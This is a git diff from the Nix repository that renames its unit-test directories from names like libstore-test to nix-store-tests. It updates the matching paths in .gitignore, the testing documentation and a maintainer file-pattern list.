 .../primops.cc                                |   0
 .../search-path.cc                            |   0
 .../trivial.cc                                |   0
 .../value/context.cc                          |   0
 .../value/print.cc                            |   0
 .../value/value.cc                            |   0
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../data/public-key/defaultType.json          |   0
 .../data/public-key/noRoundTrip.json          |   0
 .../data/public-key/simple.json               |   0
 .../meson.build                               |   2 +-
 .../package.nix                               |   4 +-
 .../public-key.cc                             |   0
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../data/.gitkeep                             |   0
 .../flakeref.cc                               |   0
 .../meson.build                               |   2 +-
 .../package.nix                               |   4 +-
 .../url-name.cc                               |   0
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../meson.build                               |   0
 .../package.nix                               |   0
 .../tests/derived-path.cc                     |   0
 .../tests/derived-path.hh                     |   0
 .../tests/libstore.hh                         |   0
 .../tests/nix_api_store.hh                    |   0
 .../tests/outputs-spec.cc                     |   0
 .../tests/outputs-spec.hh                     |   0
 .../tests/path.cc                             |   0
 .../tests/path.hh                             |   0
 .../tests/protocol.hh                         |   0
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../common-protocol.cc                        |   0
 .../content-address.cc                        |   0
 .../data/common-protocol/content-address.bin  | Bin
 .../data/common-protocol/drv-output.bin       | Bin
 .../optional-content-address.bin              | Bin
 .../common-protocol/optional-store-path.bin   | Bin
 .../data/common-protocol/realisation.bin      | Bin
 .../data/common-protocol/set.bin              | Bin
 .../data/common-protocol/store-path.bin       | Bin
 .../data/common-protocol/string.bin           | Bin
 .../data/common-protocol/vector.bin           | Bin
 .../advanced-attributes-defaults.drv          |   0
 .../advanced-attributes-defaults.json         |   0
 ...d-attributes-structured-attrs-defaults.drv |   0
 ...-attributes-structured-attrs-defaults.json |   0
 .../advanced-attributes-structured-attrs.drv  |   0
 .../advanced-attributes-structured-attrs.json |   0
 .../data/derivation/advanced-attributes.drv   |   0
 .../derivation/bad-old-version-dyn-deps.drv   |   0
 .../data/derivation/bad-version.drv           |   0
 .../data/derivation/dynDerivationDeps.drv     |   0
 .../data/derivation/dynDerivationDeps.json    |   0
 .../data/derivation/output-caFixedFlat.json   |   0
 .../data/derivation/output-caFixedNAR.json    |   0
 .../data/derivation/output-caFixedText.json   |   0
 .../data/derivation/output-caFloating.json    |   0
 .../data/derivation/output-deferred.json      |   0
 .../data/derivation/output-impure.json        |   0
 .../derivation/output-inputAddressed.json     |   0
 .../data/derivation/simple.drv                |   0
 .../data/derivation/simple.json               |   0
 .../data/machines/bad_format                  |   0
 .../data/machines/valid                       |   0
 .../data/nar-info/impure.json                 |   0
 .../data/nar-info/pure.json                   |   0
 .../data/path-info/empty_impure.json          |   0
 .../data/path-info/empty_pure.json            |   0
 .../data/path-info/impure.json                |   0
 .../data/path-info/pure.json                  |   0
 .../data/serve-protocol/build-options-2.1.bin | Bin
 .../data/serve-protocol/build-options-2.2.bin | Bin
 .../data/serve-protocol/build-options-2.3.bin | Bin
 .../data/serve-protocol/build-options-2.7.bin | Bin
 .../data/serve-protocol/build-result-2.2.bin  | Bin
 .../data/serve-protocol/build-result-2.3.bin  | Bin
 .../data/serve-protocol/build-result-2.6.bin  | Bin
 .../data/serve-protocol/content-address.bin   | Bin
 .../data/serve-protocol/drv-output.bin        | Bin
 .../serve-protocol/handshake-to-client.bin    | Bin
 .../optional-content-address.bin              | Bin
 .../serve-protocol/optional-store-path.bin    | Bin
 .../data/serve-protocol/realisation.bin       | Bin
 .../data/serve-protocol/set.bin               | Bin
 .../data/serve-protocol/store-path.bin        | Bin
 .../data/serve-protocol/string.bin            | Bin
 .../unkeyed-valid-path-info-2.3.bin           | Bin
 .../unkeyed-valid-path-info-2.4.bin           | Bin
 .../data/serve-protocol/vector.bin            | Bin
 .../data/store-reference/auto.txt             |   0
 .../data/store-reference/auto_param.txt       |   0
 .../data/store-reference/local_1.txt          |   0
 .../data/store-reference/local_2.txt          |   0
 .../store-reference/local_shorthand_1.txt     |   0
 .../store-reference/local_shorthand_2.txt     |   0
 .../data/store-reference/ssh.txt              |   0
 .../data/store-reference/unix.txt             |   0
 .../data/store-reference/unix_shorthand.txt   |   0
 .../data/worker-protocol/build-mode.bin       | Bin
 .../worker-protocol/build-result-1.27.bin     | Bin
 .../worker-protocol/build-result-1.28.bin     | Bin
 .../worker-protocol/build-result-1.29.bin     | Bin
 .../worker-protocol/build-result-1.37.bin     | Bin
 .../client-handshake-info_1_30.bin            |   0
 .../client-handshake-info_1_33.bin            | Bin
 .../client-handshake-info_1_35.bin            | Bin
 .../data/worker-protocol/content-address.bin  | Bin
 .../worker-protocol/derived-path-1.29.bin     | Bin
 .../worker-protocol/derived-path-1.30.bin     | Bin
 .../data/worker-protocol/drv-output.bin       | Bin
 .../worker-protocol/handshake-to-client.bin   | Bin
 .../keyed-build-result-1.29.bin               | Bin
 .../optional-content-address.bin              | Bin
 .../worker-protocol/optional-store-path.bin   | Bin
 .../worker-protocol/optional-trusted-flag.bin | Bin
 .../data/worker-protocol/realisation.bin      | Bin
 .../data/worker-protocol/set.bin              | Bin
 .../data/worker-protocol/store-path.bin       | Bin
 .../data/worker-protocol/string.bin           | Bin
 .../unkeyed-valid-path-info-1.15.bin          | Bin
 .../worker-protocol/valid-path-info-1.15.bin  | Bin
 .../worker-protocol/valid-path-info-1.16.bin  | Bin
 .../data/worker-protocol/vector.bin           | Bin
 .../derivation-advanced-attrs.cc              |   0
 .../derivation.cc                             |   0
 .../derived-path.cc                           |   0
 .../downstream-placeholder.cc                 |   0
 .../machines.cc                               |   0
 .../meson.build                               |   2 +-
 .../nar-info-disk-cache.cc                    |   0
 .../nar-info.cc                               |   0
 .../nix_api_store.cc                          |   0
 .../outputs-spec.cc                           |   0
 .../package.nix                               |   4 +-
 .../path-info.cc                              |   0
 .../path.cc                                   |   0
 .../references.cc                             |   0
 .../serve-protocol.cc                         |   0
 .../store-reference.cc                        |   0
 .../worker-protocol.cc                        |   0
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../meson.build                               |   0
 .../package.nix                               |   0
 .../tests/characterization.hh                 |   0
 .../tests/hash.cc                             |   0
 .../tests/hash.hh                             |   0
 .../tests/nix_api_util.hh                     |   0
 .../tests/string_callback.cc                  |   0
 .../tests/string_callback.hh                  |   0
 src/{libutil-test => nix-util-tests}/.version |   0
 src/{libutil-test => nix-util-tests}/args.cc  |   0
 .../build-utils-meson                         |   0
 .../canon-path.cc                             |   0
 .../chunked-vector.cc                         |   0
 .../closure.cc                                |   0
 .../compression.cc                            |   0
 .../config.cc                                 |   0
 .../data/git/check-data.sh                    |   0
 .../data/git/hello-world-blob.bin             | Bin
 .../data/git/hello-world.bin                  | Bin
 .../data/git/tree.bin                         | Bin
 .../data/git/tree.txt                         |   0
 .../file-content-address.cc                   |   0
 src/{libutil-test => nix-util-tests}/git.cc   |   2 +-
 src/{libutil-test => nix-util-tests}/hash.cc  |   0
 .../hilite.cc                                 |   0
 .../json-utils.cc                             |   0
 .../logging.cc                                |   0
 .../lru-cache.cc                              |   0
 .../meson.build                               |   2 +-
 .../nix_api_util.cc                           |   0
 .../package.nix                               |   4 +-
 src/{libutil-test => nix-util-tests}/pool.cc  |   0
 .../references.cc                             |   0
 src/{libutil-test => nix-util-tests}/spawn.cc |   0
 .../suggestions.cc                            |   0
 src/{libutil-test => nix-util-tests}/tests.cc |   0
 src/{libutil-test => nix-util-tests}/url.cc   |   0
 .../xml-writer.cc                             |   0
 213 files changed, 112 insertions(+), 112 deletions(-)
 rename src/{libexpr-test-support => nix-expr-test-support}/.version (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/build-utils-meson (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/meson.build (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/package.nix (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/tests/libexpr.hh (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/tests/nix_api_expr.hh (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/tests/value/context.cc (100%)
 rename src/{libexpr-test-support => nix-expr-test-support}/tests/value/context.hh (100%)
 rename src/{libexpr-test => nix-expr-tests}/.version (100%)
 rename src/{libexpr-test => nix-expr-tests}/build-utils-meson (100%)
 rename src/{libexpr-test => nix-expr-tests}/data/.gitkeep (100%)
 rename src/{libexpr-test => nix-expr-tests}/derived-path.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/error_traces.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/eval.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/json.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/main.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/meson.build (98%)
 rename src/{libexpr-test => nix-expr-tests}/nix_api_expr.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/nix_api_external.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/nix_api_value.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/package.nix (97%)
 rename src/{libexpr-test => nix-expr-tests}/primops.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/search-path.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/trivial.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/value/context.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/value/print.cc (100%)
 rename src/{libexpr-test => nix-expr-tests}/value/value.cc (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/.version (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/build-utils-meson (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/defaultType.json (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/noRoundTrip.json (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/simple.json (100%)
 rename src/{libfetchers-test => nix-fetchers-tests}/meson.build (97%)
 rename src/{libfetchers-test => nix-fetchers-tests}/package.nix (97%)
 rename src/{libfetchers-test => nix-fetchers-tests}/public-key.cc (100%)
 rename src/{libflake-test => nix-flake-tests}/.version (100%)
 rename src/{libflake-test => nix-flake-tests}/build-utils-meson (100%)
 rename src/{libflake-test => nix-flake-tests}/data/.gitkeep (100%)
 rename src/{libflake-test => nix-flake-tests}/flakeref.cc (100%)
 rename src/{libflake-test => nix-flake-tests}/meson.build (97%)
 rename src/{libflake-test => nix-flake-tests}/package.nix (97%)
 rename src/{libflake-test => nix-flake-tests}/url-name.cc (100%)
 rename src/{libstore-test-support => nix-store-test-support}/.version (100%)
 rename src/{libstore-test-support => nix-store-test-support}/build-utils-meson (100%)
 rename src/{libstore-test-support => nix-store-test-support}/meson.build (100%)
 rename src/{libstore-test-support => nix-store-test-support}/package.nix (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/derived-path.cc (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/derived-path.hh (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/libstore.hh (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/nix_api_store.hh (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/outputs-spec.cc (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/outputs-spec.hh (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/path.cc (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/path.hh (100%)
 rename src/{libstore-test-support => nix-store-test-support}/tests/protocol.hh (100%)
 rename src/{libstore-test => nix-store-tests}/.version (100%)
 rename src/{libstore-test => nix-store-tests}/build-utils-meson (100%)
 rename src/{libstore-test => nix-store-tests}/common-protocol.cc (100%)
 rename src/{libstore-test => nix-store-tests}/content-address.cc (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/drv-output.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/optional-content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/optional-store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/realisation.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/set.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/string.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/common-protocol/vector.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-defaults.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-defaults.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs-defaults.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/bad-old-version-dyn-deps.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/bad-version.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/dynDerivationDeps.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/dynDerivationDeps.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedFlat.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedNAR.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedText.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFloating.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-deferred.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-impure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/output-inputAddressed.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/simple.drv (100%)
 rename src/{libstore-test => nix-store-tests}/data/derivation/simple.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/machines/bad_format (100%)
 rename src/{libstore-test => nix-store-tests}/data/machines/valid (100%)
 rename src/{libstore-test => nix-store-tests}/data/nar-info/impure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/nar-info/pure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/path-info/empty_impure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/path-info/empty_pure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/path-info/impure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/path-info/pure.json (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.1.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.2.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.3.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.7.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.2.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.3.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.6.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/drv-output.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/handshake-to-client.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/optional-content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/optional-store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/realisation.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/set.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/string.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/serve-protocol/vector.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/auto.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/auto_param.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/local_1.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/local_2.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/local_shorthand_1.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/local_shorthand_2.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/ssh.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/unix.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/store-reference/unix_shorthand.txt (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-mode.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.27.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.28.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.29.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.37.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_30.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_33.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_35.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/derived-path-1.29.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/derived-path-1.30.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/drv-output.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/handshake-to-client.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/keyed-build-result-1.29.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-content-address.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-trusted-flag.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/realisation.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/set.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/store-path.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/string.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/valid-path-info-1.15.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/valid-path-info-1.16.bin (100%)
 rename src/{libstore-test => nix-store-tests}/data/worker-protocol/vector.bin (100%)
 rename src/{libstore-test => nix-store-tests}/derivation-advanced-attrs.cc (100%)
 rename src/{libstore-test => nix-store-tests}/derivation.cc (100%)
 rename src/{libstore-test => nix-store-tests}/derived-path.cc (100%)
 rename src/{libstore-test => nix-store-tests}/downstream-placeholder.cc (100%)
 rename src/{libstore-test => nix-store-tests}/machines.cc (100%)
 rename src/{libstore-test => nix-store-tests}/meson.build (98%)
 rename src/{libstore-test => nix-store-tests}/nar-info-disk-cache.cc (100%)
 rename src/{libstore-test => nix-store-tests}/nar-info.cc (100%)
 rename src/{libstore-test => nix-store-tests}/nix_api_store.cc (100%)
 rename src/{libstore-test => nix-store-tests}/outputs-spec.cc (100%)
 rename src/{libstore-test => nix-store-tests}/package.nix (98%)
 rename src/{libstore-test => nix-store-tests}/path-info.cc (100%)
 rename src/{libstore-test => nix-store-tests}/path.cc (100%)
 rename src/{libstore-test => nix-store-tests}/references.cc (100%)
 rename src/{libstore-test => nix-store-tests}/serve-protocol.cc (100%)
 rename src/{libstore-test => nix-store-tests}/store-reference.cc (100%)
 rename src/{libstore-test => nix-store-tests}/worker-protocol.cc (100%)
 rename src/{libutil-test-support => nix-util-test-support}/.version (100%)
 rename src/{libutil-test-support => nix-util-test-support}/build-utils-meson (100%)
 rename src/{libutil-test-support => nix-util-test-support}/meson.build (100%)
 rename src/{libutil-test-support => nix-util-test-support}/package.nix (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/characterization.hh (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/hash.cc (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/hash.hh (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/nix_api_util.hh (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/string_callback.cc (100%)
 rename src/{libutil-test-support => nix-util-test-support}/tests/string_callback.hh (100%)
 rename src/{libutil-test => nix-util-tests}/.version (100%)
 rename src/{libutil-test => nix-util-tests}/args.cc (100%)
 rename src/{libutil-test => nix-util-tests}/build-utils-meson (100%)
 rename src/{libutil-test => nix-util-tests}/canon-path.cc (100%)
 rename src/{libutil-test => nix-util-tests}/chunked-vector.cc (100%)
 rename src/{libutil-test => nix-util-tests}/closure.cc (100%)
 rename src/{libutil-test => nix-util-tests}/compression.cc (100%)
 rename src/{libutil-test => nix-util-tests}/config.cc (100%)
 rename src/{libutil-test => nix-util-tests}/data/git/check-data.sh (100%)
 rename src/{libutil-test => nix-util-tests}/data/git/hello-world-blob.bin (100%)
 rename src/{libutil-test => nix-util-tests}/data/git/hello-world.bin (100%)
 rename src/{libutil-test => nix-util-tests}/data/git/tree.bin (100%)
 rename src/{libutil-test => nix-util-tests}/data/git/tree.txt (100%)
 rename src/{libutil-test => nix-util-tests}/file-content-address.cc (100%)
 rename src/{libutil-test => nix-util-tests}/git.cc (99%)
 rename src/{libutil-test => nix-util-tests}/hash.cc (100%)
 rename src/{libutil-test => nix-util-tests}/hilite.cc (100%)
 rename src/{libutil-test => nix-util-tests}/json-utils.cc (100%)
 rename src/{libutil-test => nix-util-tests}/logging.cc (100%)
 rename src/{libutil-test => nix-util-tests}/lru-cache.cc (100%)
 rename src/{libutil-test => nix-util-tests}/meson.build (98%)
 rename src/{libutil-test => nix-util-tests}/nix_api_util.cc (100%)
 rename src/{libutil-test => nix-util-tests}/package.nix (97%)
 rename src/{libutil-test => nix-util-tests}/pool.cc (100%)
 rename src/{libutil-test => nix-util-tests}/references.cc (100%)
 rename src/{libutil-test => nix-util-tests}/spawn.cc (100%)
 rename src/{libutil-test => nix-util-tests}/suggestions.cc (100%)
 rename src/{libutil-test => nix-util-tests}/tests.cc (100%)
 rename src/{libutil-test => nix-util-tests}/url.cc (100%)
 rename src/{libutil-test => nix-util-tests}/xml-writer.cc (100%)

diff --git a/.gitignore b/.gitignore
index 838cac335a4..fdfd744e5cd 100644
--- a/.gitignore
+++ b/.gitignore
@@ -49,22 +49,22 @@ perl/Makefile.config
 /src/libexpr/parser-tab.output
 /src/libexpr/nix.tbl
 /src/libexpr/tests
-/src/libexpr-test/libnixexpr-tests
+/src/nix-expr-tests/libnixexpr-tests
 
 # /src/libfetchers
-/src/libfetchers-test/libnixfetchers-tests
+/src/nix-fetchers-tests/libnixfetchers-tests
 
 # /src/libflake
-/src/libflake-test/libnixflake-tests
+/src/nix-flake-tests/libnixflake-tests
 
 # /src/libstore/
 *.gen.*
 /src/libstore/tests
-/src/libstore-test/libnixstore-tests
+/src/nix-store-tests/libnixstore-tests
 
 # /src/libutil/
 /src/libutil/tests
-/src/libutil-test/libnixutil-tests
+/src/nix-util-tests/libnixutil-tests
 
 /src/nix/nix
 
diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index ed9c25f7a65..399174de5aa 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -60,10 +60,10 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks.
 > ```
 
 The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `src/${library_name_without-nix}-test`.
-Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/libexpr-test/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/libexpr-test-support/tests/value/context.{hh,cc}`.
+Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/nix-expr-tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/nix-expr-test-support/tests/value/context.{hh,cc}`.
 
 Data for unit tests is stored in a `data` subdir of the directory for each unit test executable.
-For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/libstore-test/data`.
+For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/nix-store-tests/data`.
 The path to the `src/${library_name_without-nix}-test/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`.
 Note that each executable only gets the data for its tests.
 
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index c0373dee425..a39a70890be 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -429,65 +429,65 @@
             ''^tests/nixos/ca-fd-leak/sender\.c''
             ''^tests/nixos/ca-fd-leak/smuggler\.c''
             ''^tests/nixos/user-sandboxing/attacker\.c''
-            ''^src/libexpr-test-support/tests/libexpr\.hh''
-            ''^src/libexpr-test-support/tests/value/context\.cc''
-            ''^src/libexpr-test-support/tests/value/context\.hh''
-            ''^src/libexpr-test/derived-path\.cc''
-            ''^src/libexpr-test/error_traces\.cc''
-            ''^src/libexpr-test/eval\.cc''
-            ''^src/libexpr-test/json\.cc''
-            ''^src/libexpr-test/main\.cc''
-            ''^src/libexpr-test/primops\.cc''
-            ''^src/libexpr-test/search-path\.cc''
-            ''^src/libexpr-test/trivial\.cc''
-            ''^src/libexpr-test/value/context\.cc''
-            ''^src/libexpr-test/value/print\.cc''
-            ''^src/libfetchers-test/public-key\.cc''
-            ''^src/libflake-test/flakeref\.cc''
-            ''^src/libflake-test/url-name\.cc''
-            ''^src/libstore-test-support/tests/derived-path\.cc''
-            ''^src/libstore-test-support/tests/derived-path\.hh''
-            ''^src/libstore-test-support/tests/nix_api_store\.hh''
-            ''^src/libstore-test-support/tests/outputs-spec\.cc''
-            ''^src/libstore-test-support/tests/outputs-spec\.hh''
-            ''^src/libstore-test-support/tests/path\.cc''
-            ''^src/libstore-test-support/tests/path\.hh''
-            ''^src/libstore-test-support/tests/protocol\.hh''
-            ''^src/libstore-test/common-protocol\.cc''
-            ''^src/libstore-test/content-address\.cc''
-            ''^src/libstore-test/derivation\.cc''
-            ''^src/libstore-test/derived-path\.cc''
-            ''^src/libstore-test/downstream-placeholder\.cc''
-            ''^src/libstore-test/machines\.cc''
-            ''^src/libstore-test/nar-info-disk-cache\.cc''
-            ''^src/libstore-test/nar-info\.cc''
-            ''^src/libstore-test/outputs-spec\.cc''
-            ''^src/libstore-test/path-info\.cc''
-            ''^src/libstore-test/path\.cc''
-            ''^src/libstore-test/serve-protocol\.cc''
-            ''^src/libstore-test/worker-protocol\.cc''
-            ''^src/libutil-test-support/tests/characterization\.hh''
-            ''^src/libutil-test-support/tests/hash\.cc''
-            ''^src/libutil-test-support/tests/hash\.hh''
-            ''^src/libutil-test/args\.cc''
-            ''^src/libutil-test/canon-path\.cc''
-            ''^src/libutil-test/chunked-vector\.cc''
-            ''^src/libutil-test/closure\.cc''
-            ''^src/libutil-test/compression\.cc''
-            ''^src/libutil-test/config\.cc''
-            ''^src/libutil-test/file-content-address\.cc''
-            ''^src/libutil-test/git\.cc''
-            ''^src/libutil-test/hash\.cc''
-            ''^src/libutil-test/hilite\.cc''
-            ''^src/libutil-test/json-utils\.cc''
-            ''^src/libutil-test/logging\.cc''
-            ''^src/libutil-test/lru-cache\.cc''
-            ''^src/libutil-test/pool\.cc''
-            ''^src/libutil-test/references\.cc''
-            ''^src/libutil-test/suggestions\.cc''
-            ''^src/libutil-test/tests\.cc''
-            ''^src/libutil-test/url\.cc''
-            ''^src/libutil-test/xml-writer\.cc''
+            ''^src/nix-expr-test-support/tests/libexpr\.hh''
+            ''^src/nix-expr-test-support/tests/value/context\.cc''
+            ''^src/nix-expr-test-support/tests/value/context\.hh''
+            ''^src/nix-expr-tests/derived-path\.cc''
+            ''^src/nix-expr-tests/error_traces\.cc''
+            ''^src/nix-expr-tests/eval\.cc''
+            ''^src/nix-expr-tests/json\.cc''
+            ''^src/nix-expr-tests/main\.cc''
+            ''^src/nix-expr-tests/primops\.cc''
+            ''^src/nix-expr-tests/search-path\.cc''
+            ''^src/nix-expr-tests/trivial\.cc''
+            ''^src/nix-expr-tests/value/context\.cc''
+            ''^src/nix-expr-tests/value/print\.cc''
+            ''^src/nix-fetchers-tests/public-key\.cc''
+            ''^src/nix-flake-tests/flakeref\.cc''
+            ''^src/nix-flake-tests/url-name\.cc''
+            ''^src/nix-store-test-support/tests/derived-path\.cc''
+            ''^src/nix-store-test-support/tests/derived-path\.hh''
+            ''^src/nix-store-test-support/tests/nix_api_store\.hh''
+            ''^src/nix-store-test-support/tests/outputs-spec\.cc''
+            ''^src/nix-store-test-support/tests/outputs-spec\.hh''
+            ''^src/nix-store-test-support/tests/path\.cc''
+            ''^src/nix-store-test-support/tests/path\.hh''
+            ''^src/nix-store-test-support/tests/protocol\.hh''
